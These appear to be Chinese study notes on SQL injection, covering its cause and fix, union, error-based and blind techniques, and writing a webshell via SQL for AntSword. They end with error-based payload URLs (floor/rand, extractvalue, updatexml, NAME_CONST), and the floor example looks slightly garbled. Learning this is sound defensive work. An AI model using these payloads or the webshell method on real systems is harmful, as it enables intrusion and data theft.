sql注入
1 sql注入产生原因
将用户输入拼接到SQL语句中
2 sql验证/利用
找闭合符号
获取shell权限,进一步获取相关信息(如库名)(user()函数)
3 sql如何修复
将用户输入内容强转义
4 sql注入获取shell权限
需要知道绝对文件路径和有读写权限
通过sql语句将木马写入绝对路径中,再通过蚁剑获取相关shell权限
5 sql分类
有回显和无回显
6 有回显如何注入
通过联合查询法或报错注入
7 无回显注入
布尔盲注(length查长度,ascii查ascii码)
时间盲注(关键函数sleep)
8 非mysql如何注入
判断数据库具体类型
网上查找相关注入的具体方法
参考:https://blog.csdn.net/baimao__Ch/article/details/147604251
9 sql注入思路
找闭合符号
判断回显
根据有无回显判断注入方法
爆库名列名表名字段
判断能否获取shell权限
10 低版本sql注入怎么办
爆破
MySQL版本在4以下需要猜测数据库表名列名(可使用burp suit爆破),因为数据库缺乏对information_schema.tables和information_schema.columns的支持
函数
- 通过floor函数制造爆错
利用floor函数和rand()函数制造错误,从而泄露数据库信息。
例:
http://www.example.com/sql.php?id=1 and (select 1 from (select count(), concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1), floor(rand(0)2))x from information_schema.tables group by x)a) - 使用ExtractValue函数
利用ExtractValue函数提取XML数据中的值,适用于有长度限制的情况(最长32位)。
例:
http://www.example.com/sql.php?id=1 and extractvalue(1, concat(0x7e, (select @@version), 0x7e)) - 使用UpdateXml函数
类似于ExtractValue,但使用UpdateXml函数更新XML数据。
例:
http://www.example.com/sql.php?id=1 and updatexml(1, concat(0x7e, (SELECT @@version), 0x7e), 1) - 使用NAME_CONST
适用于低版本MySQL,通过定义常量名称来进行注入。
例:
http://www.example.com/sql.php?id=1 and 1=(select * from (select NAME_CONST(version(),1), NAME_CONST(version(),1)) as x) - 基于错误的双查询注入
通过双查询和错误信息获取数据库版本等信息。
参考:https://www.cnblogs.com/ichunqiu/p/9604564.html

浙公网安备 33010602011771号